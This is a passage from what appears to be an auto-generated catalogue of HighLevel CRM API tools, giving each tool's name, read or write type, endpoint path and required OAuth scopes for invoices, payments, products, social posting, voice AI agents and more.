/api/v1/highlevel/funnels/page/count. Scopes: none. highlevel_get_invoices (read) — List invoices: API to get list of invoices (GET /invoices) GET /api/v1/highlevel/invoices. Scopes: invoices.readonly. highlevel_get_invoices_by_invoiceid (read) — Get invoice: API to get invoice by invoice id (GET /invoices/{invoiceId}) GET /api/v1/highlevel/invoices/{invoiceId}. Scopes: invoices.readonly. highlevel_get_invoices_estimate_list (read) — List Estimates: Get a paginated list of estimates (GET /invoices/estimate/list) GET /api/v1/highlevel/invoices/estimate/list. Scopes: invoices/estimate.readonly. highlevel_get_invoices_estimate_number_generate (read) — Generate Estimate Number: Get the next estimate number for the given location (GET /invoices/estimate/number/generate) GET /api/v1/highlevel/invoices/estimate/number/generate. Scopes: invoices/estimate.readonly. highlevel_get_invoices_estimate_template (read) — List Estimate Templates: Get a list of estimate templates or a specific template by ID (GET /invoices/estimate/template) GET /api/v1/highlevel/invoices/estimate/template. Scopes: invoices/estimate.readonly. highlevel_get_invoices_estimate_template_preview (read) — Preview Estimate Template: Get a preview of an estimate template (GET /invoices/estimate/template/preview) GET /api/v1/highlevel/invoices/estimate/template/preview. Scopes: invoices/estimate.readonly. highlevel_get_invoices_generate_invoice_number (read) — Generate Invoice Number: Get the next invoice number for the given location (GET /invoices/generate-invoice-number) GET /api/v1/highlevel/invoices/generate-invoice-number. Scopes: invoices.readonly. highlevel_get_invoices_schedule (read) — List schedules: API to get list of schedules (GET /invoices/schedule) GET /api/v1/highlevel/invoices/schedule. Scopes: invoices/schedule.readonly. highlevel_get_invoices_schedule_by_scheduleid (read) — Get an schedule: API to get an schedule by schedule id (GET /invoices/schedule/{scheduleId}) GET /api/v1/highlevel/invoices/schedule/{scheduleId}. Scopes: invoices/schedule.readonly. highlevel_get_invoices_settings (read) — Get Invoice Settings: Get the invoice settings for the given location (GET /invoices/settings) GET /api/v1/highlevel/invoices/settings. Scopes: invoices.readonly. highlevel_get_invoices_template (read) — List templates: API to get list of templates (GET /invoices/template) GET /api/v1/highlevel/invoices/template. Scopes: invoices/template.readonly. highlevel_get_invoices_template_by_templateid (read) — Get an template: API to get an template by template id (GET /invoices/template/{templateId}) GET /api/v1/highlevel/invoices/template/{templateId}. Scopes: invoices/template.readonly. highlevel_get_knowledge_bases (read) — Get all knowledge bases for a location by location Id (paginated) (GET /knowledge-bases) GET /api/v1/highlevel/knowledge-bases. Scopes: none. highlevel_get_knowledge_bases_by_knowledgebaseid (read) — Get knowledge base by ID (GET /knowledge-bases/{knowledgeBaseId}) GET /api/v1/highlevel/knowledge-bases/{knowledgeBaseId}. Scopes: none. highlevel_get_knowledge_bases_crawler (read) — Get all trained page links by knowledge base (GET /knowledge-bases/crawler) GET /api/v1/highlevel/knowledge-bases/crawler. Scopes: none. highlevel_get_knowledge_bases_crawler_status (read) — Get crawling status for the latest operation (GET /knowledge-bases/crawler/status) GET /api/v1/highlevel/knowledge-bases/crawler/status. Scopes: none. highlevel_get_knowledge_bases_faqs (read) — Get all FAQs by knowledge base with pagination support: Retrieves FAQs for a knowledge base. Supports pagination using limit and lastFaqId parameters. (GET /knowledge-bases/faqs) GET /api/v1/highlevel/knowledge-bases/faqs. Scopes: none. highlevel_get_links (read) — Get Links (GET /links) GET /api/v1/highlevel/links. Scopes: links.readonly. highlevel_get_links_id_by_linkid (read) — Get Link by ID: Get a single link by its ID (GET /links/id/{linkId}) GET /api/v1/highlevel/links/id/{linkId}. Scopes: none. highlevel_get_links_search (read) — Search Trigger Links: Get list of links by searching (GET /links/search) GET /api/v1/highlevel/links/search. Scopes: none. highlevel_get_locations_by_locationid (read) — Get Sub-Account (Formerly Location): Get details of a Sub-Account (Formerly Location) by passing the sub-account id (GET /locations/{locationId}) GET /api/v1/highlevel/locations/{locationId}. Scopes: locations.readonly. highlevel_get_locations_by_locationid_customfields (read) — Get Custom Fields (GET /locations/{locationId}/customFields) GET /api/v1/highlevel/locations/{locationId}/customFields. Scopes: locations/customFields.readonly. highlevel_get_locations_by_locationid_customfields_by_id (read) — Get Custom Field (GET /locations/{locationId}/customFields/{id}) GET /api/v1/highlevel/locations/{locationId}/customFields/{id}. Scopes: none. highlevel_get_locations_by_locationid_customvalues (read) — Get Custom Values (GET /locations/{locationId}/customValues) GET /api/v1/highlevel/locations/{locationId}/customValues. Scopes: locations/customValues.readonly. highlevel_get_locations_by_locationid_customvalues_by_id (read) — Get Custom Value (GET /locations/{locationId}/customValues/{id}) GET /api/v1/highlevel/locations/{locationId}/customValues/{id}. Scopes: none. highlevel_get_locations_by_locationid_recurring_tasks_by_id (read) — Get Recurring Task By Id (GET /locations/{locationId}/recurring-tasks/{id}) GET /api/v1/highlevel/locations/{locationId}/recurring-tasks/{id}. Scopes: none. highlevel_get_locations_by_locationid_tags (read) — Get Tags: Get Sub-Account (Formerly Location) Tags (GET /locations/{locationId}/tags) GET /api/v1/highlevel/locations/{locationId}/tags. Scopes: locations/tags.readonly. highlevel_get_locations_by_locationid_tags_by_tagid (read) — Get tag by id (GET /locations/{locationId}/tags/{tagId}) GET /api/v1/highlevel/locations/{locationId}/tags/{tagId}. Scopes: none. highlevel_get_locations_by_locationid_templates (read) — GET all or email/sms templates (GET /locations/{locationId}/templates) GET /api/v1/highlevel/locations/{locationId}/templates. Scopes: locations/templates.readonly. highlevel_get_locations_by_locationid_timezones (read) — Fetch Timezones: Fetch the available timezones (GET /locations/{locationId}/timezones) GET /api/v1/highlevel/locations/{locationId}/timezones. Scopes: locations.readonly. highlevel_get_locations_search (read) — Search: Search Sub-Account (Formerly Location) (GET /locations/search) GET /api/v1/highlevel/locations/search. Scopes: locations.readonly. highlevel_get_marketplace_app_by_appid_installations (read) — Get Installer Details: Fetches installer details for the authenticated user. This endpoint returns information about the company, location, user, and installation details associated with the current OAuth token. (GET /marketplace/app/{appId}/installations) GET /api/v1/highlevel/marketplace/app/{appId}/installations. Scopes: marketplace-installer-details.readonly. highlevel_get_marketplace_app_by_appid_rebilling_config_location_by_locationid (read) — Get rebilling config for an app subscription and usage plans: Get rebilling config for an app subscription and usage plans for the authenticated sub-account. This endpoint returns the subscription and usage plans for an app. (GET /marketplace/app/{appId}/rebilling-config/location/{locationId}) GET /api/v1/highlevel/marketplace/app/{appId}/rebilling-config/location/{locationId}. Scopes: oauth.readonly. highlevel_get_marketplace_billing_charges (read) — Get all wallet charges (GET /marketplace/billing/charges) GET /api/v1/highlevel/marketplace/billing/charges. Scopes: charges.readonly. highlevel_get_marketplace_billing_charges_by_chargeid (read) — Get specific wallet charge details (GET /marketplace/billing/charges/{chargeId}) GET /api/v1/highlevel/marketplace/billing/charges/{chargeId}. Scopes: charges.readonly. highlevel_get_marketplace_billing_charges_has_funds (read) — Check if account has sufficient funds (GET /marketplace/billing/charges/has-funds) GET /api/v1/highlevel/marketplace/billing/charges/has-funds. Scopes: charges.readonly. highlevel_get_medias_files (read) — Get List of Files/ Folders: Fetches list of files and folders from the media storage (GET /medias/files) GET /api/v1/highlevel/medias/files. Scopes: medias.readonly. highlevel_get_oauth_installedlocations (read) — Get Location where app is installed: This API allows you fetch location where app is installed upon (GET /oauth/installedLocations) GET /api/v1/highlevel/oauth/installedLocations. Scopes: oauth.readonly. highlevel_get_objects (read) — Get all objects for a location: Get all objects for a location. Supported Objects are contact, opportunity, business and custom objects.To understand objects and records, please have a look at the documentation here :... (GET /objects) GET /api/v1/highlevel/objects. Scopes: objects/schema.readonly. highlevel_get_objects_by_key (read) — Get Object Schema by key / id: Retrieve Object Schema by key or ID. This will return the schema of the custom object, including all its fields and properties. Supported objects include contact, opportunity, business and custom objects.To understand objects and records,... (GET /objects/{key}) GET /api/v1/highlevel/objects/{key}. Scopes: objects/schema.readonly. highlevel_get_objects_by_schemakey_records_by_id (read) — Get Record By Id: Allows you to get a Standard Object like business and custom object record by Id (GET /objects/{schemaKey}/records/{id}) GET /api/v1/highlevel/objects/{schemaKey}/records/{id}. Scopes: none. highlevel_get_opportunities_by_id (read) — Get Opportunity (GET /opportunities/{id}) GET /api/v1/highlevel/opportunities/{id}. Scopes: opportunities.readonly. highlevel_get_opportunities_lost_reason (read) — Get lost reason (GET /opportunities/lost-reason) GET /api/v1/highlevel/opportunities/lost-reason. Scopes: opportunities.readonly. highlevel_get_opportunities_pipelines (read) — Get Pipelines (GET /opportunities/pipelines) GET /api/v1/highlevel/opportunities/pipelines. Scopes: opportunities.readonly. highlevel_get_opportunities_search (read) — Search Opportunity (GET /opportunities/search) GET /api/v1/highlevel/opportunities/search. Scopes: opportunities.readonly. highlevel_get_payments_coupon (read) — Fetch Coupon: The "Get Coupon Details" API enables you to retrieve comprehensive information about a specific coupon using either its unique identifier or promotional code. Use this endpoint to view coupon parameters, usage statistics, validity periods,... (GET /payments/coupon) GET /api/v1/highlevel/payments/coupon. Scopes: payments/coupons.readonly. highlevel_get_payments_coupon_list (read) — List Coupons: The "List Coupons" API allows you to retrieve a list of all coupons available in your location. Use this endpoint to view all promotional offers and special discounts for your customers. (GET /payments/coupon/list) GET /api/v1/highlevel/payments/coupon/list. Scopes: payments/coupons.readonly. highlevel_get_payments_custom_provider_connect (read) — Fetch given provider config: API for fetching an existing payment config for given location (GET /payments/custom-provider/connect) GET /api/v1/highlevel/payments/custom-provider/connect. Scopes: payments/custom-provider.readonly. highlevel_get_payments_integrations_provider_whitelabel (read) — List White-label Integration Providers: The "List White-label Integration Providers" API allows to retrieve a paginated list of integration providers. Customize your results by filtering whitelabel integration providers(which are built directly on top of Authorize.net or NMI)... (GET /payments/integrations/provider/whitelabel) GET /api/v1/highlevel/payments/integrations/provider/whitelabel. Scopes: payments/integration.readonly. highlevel_get_payments_orders (read) — List Orders: The "List Orders" API allows to retrieve a paginated list of orders. Customize your results by filtering orders based on name, alt type, order status, payment mode, date range, type of source, contact, funnel products or paginate through... (GET /payments/orders) GET /api/v1/highlevel/payments/orders. Scopes: payments/orders.readonly. highlevel_get_payments_orders_by_orderid (read) — Get Order by ID: The "Get Order by ID" API allows to retrieve information for a specific order using its unique identifier. Use this endpoint to fetch details for a single order based on the provided order ID. (GET /payments/orders/{orderId}) GET /api/v1/highlevel/payments/orders/{orderId}. Scopes: payments/orders.readonly. highlevel_get_payments_orders_by_orderid_fulfillments (read) — List fulfillment: List all fulfillment history of an order (GET /payments/orders/{orderId}/fulfillments) GET /api/v1/highlevel/payments/orders/{orderId}/fulfillments. Scopes: payments/orders.readonly. highlevel_get_payments_orders_by_orderid_notes (read) — List Order Notes: List all notes of an order (GET /payments/orders/{orderId}/notes) GET /api/v1/highlevel/payments/orders/{orderId}/notes. Scopes: none. highlevel_get_payments_subscriptions (read) — List Subscriptions: The "List Subscriptions" API allows to retrieve a paginated list of subscriptions. Customize your results by filtering subscriptions based on name, alt type, subscription status, payment mode, date range, type of source, contact,... (GET /payments/subscriptions) GET /api/v1/highlevel/payments/subscriptions. Scopes: payments/subscriptions.readonly. highlevel_get_payments_subscriptions_by_subscriptionid (read) — Get Subscription by ID: The "Get Subscription by ID" API allows to retrieve information for a specific subscription using its unique identifier. Use this endpoint to fetch details for a single subscription based on the provided subscription ID. (GET /payments/subscriptions/{subscriptionId}) GET /api/v1/highlevel/payments/subscriptions/{subscriptionId}. Scopes: payments/subscriptions.readonly. highlevel_get_payments_transactions (read) — List Transactions: The "List Transactions" API allows to retrieve a paginated list of transactions. Customize your results by filtering transactions based on name, alt type, transaction status, payment mode, date range, type of source, contact, subscription... (GET /payments/transactions) GET /api/v1/highlevel/payments/transactions. Scopes: payments/transactions.readonly. highlevel_get_payments_transactions_by_transactionid (read) — Get Transaction by ID: The "Get Transaction by ID" API allows to retrieve information for a specific transaction using its unique identifier. Use this endpoint to fetch details for a single transaction based on the provided transaction ID. (GET /payments/transactions/{transactionId}) GET /api/v1/highlevel/payments/transactions/{transactionId}. Scopes: payments/transactions.readonly. highlevel_get_phone_system_number_pools (read) — List Number Pools: Get list of number pools (GET /phone-system/number-pools) GET /api/v1/highlevel/phone-system/number-pools. Scopes: numberpools.read. highlevel_get_phone_system_numbers_location_by_locationid (read) — List active numbers: Retrieve a paginated list of active phone numbers for a specific location. Supports filtering, pagination, and optional exclusion of number pool assignments. (GET /phone-system/numbers/location/{locationId}) GET /api/v1/highlevel/phone-system/numbers/location/{locationId}. Scopes: phonenumbers.read. highlevel_get_phone_system_numbers_location_by_locationid_available (read) — List available phone numbers: Search for available phone numbers to purchase for a specific location. Supports filtering by number pattern, type, and capabilities. (GET /phone-system/numbers/location/{locationId}/available) GET /api/v1/highlevel/phone-system/numbers/location/{locationId}/available. Scopes: phonenumbers.read. highlevel_get_products (read) — List Products: The "List Products" API allows to retrieve a paginated list of products. Customize your results by filtering products based on name or paginate through the list using the provided query parameters. This endpoint provides a straightforward... (GET /products) GET /api/v1/highlevel/products. Scopes: products.readonly. highlevel_get_products_by_productid (read) — Get Product by ID: The "Get Product by ID" API allows to retrieve information for a specific product using its unique identifier. Use this endpoint to fetch details for a single product based on the provided product ID. (GET /products/{productId}) GET /api/v1/highlevel/products/{productId}. Scopes: products.readonly. highlevel_get_products_by_productid_price (read) — List Prices for a Product: The "List Prices for a Product" API allows retrieving a paginated list of prices associated with a specific product. Customize your results by filtering prices or paginate through the list using the provided query parameters. (GET /products/{productId}/price) GET /api/v1/highlevel/products/{productId}/price. Scopes: products/prices.readonly. highlevel_get_products_by_productid_price_by_priceid (read) — Get Price by ID for a Product: The "Get Price by ID for a Product" API allows retrieving information for a specific price associated with a particular product using its unique identifier. Use this endpoint to fetch details for a single price based on the provided price... (GET /products/{productId}/price/{priceId}) GET /api/v1/highlevel/products/{productId}/price/{priceId}. Scopes: products/prices.readonly. highlevel_get_products_collections (read) — Fetch Product Collections: Internal API to fetch the Product Collections (GET /products/collections) GET /api/v1/highlevel/products/collections. Scopes: products/collection.readonly. highlevel_get_products_collections_by_collectionid (read) — Get Details about individual product collection (GET /products/collections/{collectionId}) GET /api/v1/highlevel/products/collections/{collectionId}. Scopes: products/collection.readonly. highlevel_get_products_inventory (read) — List Inventory: The "List Inventory API allows the user to retrieve a paginated list of inventory items. Use this endpoint to fetch details for multiple items in the inventory based on the provided query parameters. (GET /products/inventory) GET /api/v1/highlevel/products/inventory. Scopes: products/prices.readonly. highlevel_get_products_reviews (read) — Fetch Product Reviews: API to fetch the Product Reviews (GET /products/reviews) GET /api/v1/highlevel/products/reviews. Scopes: products.readonly. highlevel_get_products_reviews_count (read) — Fetch Review Count as per status: API to fetch the Review Count as per status (GET /products/reviews/count) GET /api/v1/highlevel/products/reviews/count. Scopes: products.readonly. highlevel_get_products_store_by_storeid_stats (read) — Fetch Product Store Stats: API to fetch the total number of products, included in the store, and excluded from the store and other stats (GET /products/store/{storeId}/stats) GET /api/v1/highlevel/products/store/{storeId}/stats. Scopes: products.readonly. highlevel_get_proposals_document (read) — List documents: List documents for a location (GET /proposals/document) GET /api/v1/highlevel/proposals/document. Scopes: none. highlevel_get_proposals_templates (read) — List templates: List document contract templates for a location (GET /proposals/templates) GET /api/v1/highlevel/proposals/templates. Scopes: none. highlevel_get_saas_agency_plans_by_companyid (read) — Get Agency Plans: Fetch all agency subscription plans for a given company ID (GET /saas/agency-plans/{companyId}) GET /api/v1/highlevel/saas/agency-plans/{companyId}. Scopes: none. highlevel_get_saas_api_public_api_agency_plans_by_companyid (read) — Get Agency Plans: Fetch all agency subscription plans for a given company ID (GET /saas-api/public-api/agency-plans/{companyId}) GET /api/v1/highlevel/saas-api/public-api/agency-plans/{companyId}. Scopes: none. highlevel_get_saas_api_public_api_get_saas_subscription_by_locationid (read) — Get Location Subscription Details: Fetch subscription details for a specific location from location metadata (GET /saas-api/public-api/get-saas-subscription/{locationId}) GET /api/v1/highlevel/saas-api/public-api/get-saas-subscription/{locationId}. Scopes: none. highlevel_get_saas_api_public_api_locations (read) — Get locations by stripeId with companyId: Get locations by stripeCustomerId or stripeSubscriptionId with companyId (GET /saas-api/public-api/locations) GET /api/v1/highlevel/saas-api/public-api/locations. Scopes: none. highlevel_get_saas_api_public_api_saas_locations_by_companyid (read) — Get SaaS Locations: Fetch all SaaS-activated locations for a company with pagination (GET /saas-api/public-api/saas-locations/{companyId}) GET /api/v1/highlevel/saas-api/public-api/saas-locations/{companyId}. Scopes: none. highlevel_get_saas_api_public_api_saas_plan_by_planid (read) — Get SaaS Plan: Fetch a specific SaaS plan by plan ID (GET /saas-api/public-api/saas-plan/{planId}) GET /api/v1/highlevel/saas-api/public-api/saas-plan/{planId}. Scopes: none. highlevel_get_saas_get_saas_subscription_by_locationid (read) — Get Location Subscription Details: Fetch subscription details for a specific location from location metadata (GET /saas/get-saas-subscription/{locationId}) GET /api/v1/highlevel/saas/get-saas-subscription/{locationId}. Scopes: none. highlevel_get_saas_locations (read) — Get locations by stripeId with companyId: Get locations by stripeCustomerId or stripeSubscriptionId with companyId (GET /saas/locations) GET /api/v1/highlevel/saas/locations. Scopes: none. highlevel_get_saas_saas_locations_by_companyid (read) — Get SaaS Locations: Fetch all SaaS-activated locations for a company with pagination (GET /saas/saas-locations/{companyId}) GET /api/v1/highlevel/saas/saas-locations/{companyId}. Scopes: none. highlevel_get_saas_saas_plan_by_planid (read) — Get SaaS Plan: Fetch a specific SaaS plan by plan ID (GET /saas/saas-plan/{planId}) GET /api/v1/highlevel/saas/saas-plan/{planId}. Scopes: none. highlevel_get_snapshots (read) — Get Snapshots: Get a list of all own and imported Snapshots (GET /snapshots) GET /api/v1/highlevel/snapshots. Scopes: none. highlevel_get_snapshots_snapshot_status_by_snapshotid (read) — Get Snapshot Push between Dates: Get list of sub-accounts snapshot pushed in time period (GET /snapshots/snapshot-status/{snapshotId}) GET /api/v1/highlevel/snapshots/snapshot-status/{snapshotId}. Scopes: none. highlevel_get_snapshots_snapshot_status_by_snapshotid_location_by_locationid (read) — Get Last Snapshot Push: Get Latest Snapshot Push Status for a location id (GET /snapshots/snapshot-status/{snapshotId}/location/{locationId}) GET /api/v1/highlevel/snapshots/snapshot-status/{snapshotId}/location/{locationId}. Scopes: none. highlevel_get_social_media_posting_by_locationid_accounts (read) — Get Accounts: Get list of accounts and groups (GET /social-media-posting/{locationId}/accounts) GET /api/v1/highlevel/social-media-posting/{locationId}/accounts. Scopes: socialplanner/account.readonly. highlevel_get_social_media_posting_by_locationid_categories (read) — Get categories by location id (GET /social-media-posting/{locationId}/categories) GET /api/v1/highlevel/social-media-posting/{locationId}/categories. Scopes: socialplanner/category.readonly. highlevel_get_social_media_posting_by_locationid_categories_by_id (read) — Get categories by id (GET /social-media-posting/{locationId}/categories/{id}) GET /api/v1/highlevel/social-media-posting/{locationId}/categories/{id}. Scopes: none. highlevel_get_social_media_posting_by_locationid_csv (read) — Get Upload Status (GET /social-media-posting/{locationId}/csv) GET /api/v1/highlevel/social-media-posting/{locationId}/csv. Scopes: none. highlevel_get_social_media_posting_by_locationid_csv_by_id (read) — Get CSV Post (GET /social-media-posting/{locationId}/csv/{id}) GET /api/v1/highlevel/social-media-posting/{locationId}/csv/{id}. Scopes: none. highlevel_get_social_media_posting_by_locationid_posts_by_id (read) — Get post (GET /social-media-posting/{locationId}/posts/{id}) GET /api/v1/highlevel/social-media-posting/{locationId}/posts/{id}. Scopes: none. highlevel_get_social_media_posting_by_locationid_tags (read) — Get tags by location id (GET /social-media-posting/{locationId}/tags) GET /api/v1/highlevel/social-media-posting/{locationId}/tags. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_facebook_accounts_by_accountid (read) — Get facebook pages (GET /social-media-posting/oauth/{locationId}/facebook/accounts/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/facebook/accounts/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_google_locations_by_accountid (read) — Get google business locations (GET /social-media-posting/oauth/{locationId}/google/locations/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/google/locations/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_instagram_accounts_by_accountid (read) — Get Instagram Professional Accounts (GET /social-media-posting/oauth/{locationId}/instagram/accounts/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/instagram/accounts/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_linkedin_accounts_by_accountid (read) — Get Linkedin pages and profile (GET /social-media-posting/oauth/{locationId}/linkedin/accounts/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/linkedin/accounts/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_tiktok_accounts_by_accountid (read) — Get Tiktok profile (GET /social-media-posting/oauth/{locationId}/tiktok/accounts/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/tiktok/accounts/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_tiktok_business_accounts_by_accountid (read) — Get Tiktok Business profile (GET /social-media-posting/oauth/{locationId}/tiktok-business/accounts/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/tiktok-business/accounts/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_by_locationid_twitter_accounts_by_accountid (read) — Get Twitter profile: ! As of December 4, 2024, X (formerly Twitter) is no longer supported. We apologise for any inconvenience. (GET /social-media-posting/oauth/{locationId}/twitter/accounts/{accountId}) GET /api/v1/highlevel/social-media-posting/oauth/{locationId}/twitter/accounts/{accountId}. Scopes: none. highlevel_get_social_media_posting_oauth_facebook_start (read) — Starts OAuth For Facebook Account: Open the API in a window with appropriate params and headers instead of using the Curl. User is navigated to Facebook login OAuth screen. On successful login, listen on window object for message where event listener returns data in its... (GET /social-media-posting/oauth/facebook/start) GET /api/v1/highlevel/social-media-posting/oauth/facebook/start. Scopes: none. highlevel_get_social_media_posting_oauth_google_start (read) — Starts OAuth For Google Account: Open the API in a window with appropriate params and headers instead of using the Curl. User is navigated to Google login OAuth screen. On successful login, listen on window object for message where event listener returns data in its... (GET /social-media-posting/oauth/google/start) GET /api/v1/highlevel/social-media-posting/oauth/google/start. Scopes: socialplanner/oauth.readonly. highlevel_get_social_media_posting_oauth_instagram_start (read) — Starts OAuth For Instagram Account: Open the API in a window with appropriate params and headers instead of using the Curl. User is navigated to Instagram login OAuth screen. On successful login, listen on window object for message where event listener returns data in its... (GET /social-media-posting/oauth/instagram/start) GET /api/v1/highlevel/social-media-posting/oauth/instagram/start. Scopes: socialplanner/oauth.readonly. highlevel_get_social_media_posting_oauth_linkedin_start (read) — Starts OAuth For LinkedIn Account: Open the API in a window with appropriate params and headers instead of using the Curl. User is navigated to LinkedIn login OAuth screen. On successful login, listen on window object for message where event listener returns data in its... (GET /social-media-posting/oauth/linkedin/start) GET /api/v1/highlevel/social-media-posting/oauth/linkedin/start. Scopes: none. highlevel_get_social_media_posting_oauth_tiktok_business_start (read) — Starts OAuth For Tiktok Business Account: Open the API in a window with appropriate params and headers instead of using the Curl. User is navigated to Tiktok-Business login OAuth screen. On successful login, listen on window object for message where event listener returns data in... (GET /social-media-posting/oauth/tiktok-business/start) GET /api/v1/highlevel/social-media-posting/oauth/tiktok-business/start. Scopes: socialplanner/oauth.readonly. highlevel_get_social_media_posting_oauth_tiktok_start (read) — Starts OAuth For Tiktok Account: Open the API in a window with appropriate params and headers instead of using the Curl. User is navigated to Tiktok login OAuth screen. On successful login, listen on window object for message where event listener returns data in its... (GET /social-media-posting/oauth/tiktok/start) GET /api/v1/highlevel/social-media-posting/oauth/tiktok/start. Scopes: socialplanner/oauth.readonly. highlevel_get_social_media_posting_oauth_twitter_start (read) — Starts OAuth For Twitter Account: ! As of December 4, 2024, X (formerly Twitter) is no longer supported. We apologise for any inconvenience. (GET /social-media-posting/oauth/twitter/start) GET /api/v1/highlevel/social-media-posting/oauth/twitter/start. Scopes: socialplanner/oauth.readonly. highlevel_get_store_shipping_carrier (read) — List Shipping Carriers: The "List Shipping Carrier" API allows to retrieve a list of shipping carrier. (GET /store/shipping-carrier) GET /api/v1/highlevel/store/shipping-carrier. Scopes: none. highlevel_get_store_shipping_carrier_by_shippingcarrierid (read) — Get Shipping Carrier: The "List Shipping Carrier" API allows to retrieve a paginated list of shipping carrier. (GET /store/shipping-carrier/{shippingCarrierId}) GET /api/v1/highlevel/store/shipping-carrier/{shippingCarrierId}. Scopes: none. highlevel_get_store_shipping_zone (read) — List Shipping Zones: The "List Shipping Zone" API allows to retrieve a list of shipping zone. (GET /store/shipping-zone) GET /api/v1/highlevel/store/shipping-zone. Scopes: none. highlevel_get_store_shipping_zone_by_shippingzoneid (read) — Get Shipping Zone: The "List Shipping Zone" API allows to retrieve a paginated list of shipping zone. (GET /store/shipping-zone/{shippingZoneId}) GET /api/v1/highlevel/store/shipping-zone/{shippingZoneId}. Scopes: none. highlevel_get_store_shipping_zone_by_shippingzoneid_shipping_rate (read) — List Shipping Rates: The "List Shipping Rate" API allows to retrieve a list of shipping rate. (GET /store/shipping-zone/{shippingZoneId}/shipping-rate) GET /api/v1/highlevel/store/shipping-zone/{shippingZoneId}/shipping-rate. Scopes: none. highlevel_get_store_shipping_zone_by_shippingzoneid_shipping_rate_by_shippingrateid (read) — Get Shipping Rate: The "List Shipping Rate" API allows to retrieve a paginated list of shipping rate. (GET /store/shipping-zone/{shippingZoneId}/shipping-rate/{shippingRateId}) GET /api/v1/highlevel/store/shipping-zone/{shippingZoneId}/shipping-rate/{shippingRateId}. Scopes: none. highlevel_get_store_store_setting (read) — Get Store Settings: Get store settings by altId and altType. (GET /store/store-setting) GET /api/v1/highlevel/store/store-setting. Scopes: none. highlevel_get_surveys (read) — Get Surveys (GET /surveys) GET /api/v1/highlevel/surveys. Scopes: surveys.readonly. highlevel_get_surveys_submissions (read) — Get Surveys Submissions (GET /surveys/submissions) GET /api/v1/highlevel/surveys/submissions. Scopes: surveys.readonly. highlevel_get_users (read) — Get User by Location: Deprecated. Use GET /users/search instead. Pass locationId as a query parameter to filter results by location, along with the required companyId and other search filters as needed. (GET /users) GET /api/v1/highlevel/users. Scopes: users.readonly. highlevel_get_users_by_userid (read) — Get User (GET /users/{userId}) GET /api/v1/highlevel/users/{userId}. Scopes: users.readonly. highlevel_get_users_search (read) — Search Users (GET /users/search) GET /api/v1/highlevel/users/search. Scopes: users.readonly. highlevel_get_voice_ai_actions_by_actionid (read) — Get Agent Action: Retrieve details of a specific action by its ID. Returns the action configuration including actionParameters. (GET /voice-ai/actions/{actionId}) GET /api/v1/highlevel/voice-ai/actions/{actionId}. Scopes: voice-ai-agent-goals.readonly. highlevel_get_voice_ai_agents (read) — List Agents: Retrieve a paginated list of agents for given location. (GET /voice-ai/agents) GET /api/v1/highlevel/voice-ai/agents. Scopes: voice-ai-agents.readonly. highlevel_get_voice_ai_agents_by_agentid (read) — Get Agent: Retrieve detailed configuration and settings for a specific voice AI agent (GET /voice-ai/agents/{agentId}) GET /api/v1/highlevel/voice-ai/agents/{agentId}. Scopes: voice-ai-agents.readonly. highlevel_get_voice_ai_dashboard_call_logs (read) — List Call Logs: Returns call logs for Voice AI agents scoped to a location. Supports filtering by agent, contact, call type, action types, and date range (interpreted in the provided IANA timezone). Also supports sorting and 1-based pagination. (GET /voice-ai/dashboard/call-logs) GET /api/v1/highlevel/voice-ai/dashboard/call-logs. Scopes: voice-ai-dashboard.readonly. highlevel_get_voice_ai_dashboard_call_logs_by_callid (read) — Get Call Log: Returns a call log by callId. (GET /voice-ai/dashboard/call-logs/{callId}) GET /api/v1/highlevel/voice-ai/dashboard/call-logs/{callId}. Scopes: voice-ai-dashboard.readonly. highlevel_get_workflows (read) — Get Workflow (GET /workflows) GET /api/v1/highlevel/workflows. Scopes: workflows.readonly. highlevel_patch_ad_publishing_linkedin_by_adid_status (write) — Update ad status: Pause or resume a LinkedIn ad, campaign, or ad group (PATCH /ad-publishing/linkedin/{adId}/status) PATCH /api/v1/highlevel/ad-publishing/linkedin/{adId}/status. Scopes: adPublishing.write. highlevel_patch_agent_studio_agent_by_agentid (write) — Update Agent Metadata: Updates agent metadata such as name, description, and status. (PATCH /agent-studio/agent/{agentId}) PATCH /api/v1/highlevel/agent-studio/agent/{agentId}. Scopes: agent-studio.write. highlevel_patch_agent_studio_agent_versions_by_versionid (write) — Update Agent: Updates a specific agent version by versionId. Supports updating nodes, edges, variables, and configuration. (PATCH /agent-studio/agent/versions/{versionId}) PATCH /api/v1/highlevel/agent-studio/agent/versions/{versionId}. Scopes: agent-studio.write. highlevel_patch_brand_boards_by_locationid_by_id (write) — Update a Brand Board: Updates an existing Brand Board (PATCH /brand-boards/{locationId}/{id}) PATCH /api/v1/highlevel/brand-boards/{locationId}/{id}. Scopes: brand-boards/design-kit.write. highlevel_patch_conversation_ai_agents_by_agentid_followup_settings (write) — Update Followup Settings: Update the followup settings for an action (PATCH /conversation-ai/agents/{agentId}/followup-settings) PATCH /api/v1/highlevel/conversation-ai/agents/{agentId}/followup-settings. Scopes: conversation-ai.write. highlevel_patch_funnels_lookup_redirect_by_id (write) — Update Redirect By Id: The "Update Redirect By Id" API Allows updating an existing URL redirect in the system. Use this endpoint to modify a URL redirect with the specified ID using details provided in the request payload. (PATCH /funnels/lookup/redirect/{id}) PATCH /api/v1/highlevel/funnels/lookup/redirect/{id}. Scopes: funnels/redirect.write. highlevel_patch_invoices_by_invoiceid_late_fees_configuration (write) — Update invoice late fees configuration: API to update invoice late fees configuration by invoice id (PATCH /invoices/{invoiceId}/late-fees-configuration) PATCH /api/v1/highlevel/invoices/{invoiceId}/late-fees-configuration. Scopes: none. highlevel_patch_invoices_estimate_stats_last_visited_at (write) — Update estimate last visited at: API to update estimate last visited at by estimate id (PATCH /invoices/estimate/stats/last-visited-at) PATCH /api/v1/highlevel/invoices/estimate/stats/last-visited-at. Scopes: none. highlevel_patch_invoices_stats_last_visited_at (write) — Update invoice last visited at: 